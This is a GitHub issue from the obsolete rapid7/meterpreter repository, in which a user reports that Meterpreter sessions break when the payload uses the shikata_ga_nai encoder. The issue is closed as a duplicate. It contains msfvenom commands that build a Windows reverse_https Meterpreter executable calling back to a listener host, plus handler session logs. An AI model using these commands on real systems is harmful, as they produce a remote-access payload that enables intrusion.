rapid7 / meterpreter

THIS REPO IS OBSOLETE. USE https://github.com/rapid7/metasploit-payloads INSTEAD
Other
325 stars 144 forks source link

Invalid session when using encoder #180

Closed Silur closed 9 years ago

Silur commented 9 years ago

I've run into the following situation, tested multiple times on multiple machines:

msfvenom -p windows/meterpreter/reverse_https -f exe -o test.exe LHOST=xy test.exe

Succesfully opens a meterpreter session, I can do everything on the machine, however when i use an encoder:

msfvenom -p windows/meterpreter/reverse_https -f exe -o test.exe -e x86/shikata_ganai LHOST=xy test.exe I get the following on my handler side: [] Starting the payload handler... [] 127.0.0.1:37888 (UUID: 60278c9ddd1657f9/x86=1/windows=1/2015-07-27T16:16:58Z) Redirecting stageless connection ... [] 127.0.0.1:37890 (UUID: 60278c9ddd1657f9/x86=1/windows=1/2015-07-27T16:16:58Z) Attaching orphaned/stageless session ... [_] Meterpreter session 1 opened (127.0.0.1:8443 -> 127.0.0.1:37890) at 2015-07-27 18:18:57 +0200 meterpreter > pwd [-] Unknown command: pwd. [-] Meterpreter session 1 is not valid and will be closed [*] 127.0.0.1 - Meterpreter session 1 closed.

seems like using an encoder results in an error with the communication, hope someone can help me with this

void-in commented 9 years ago

This is another issue at the metasploit-payloads repo. Closing this one.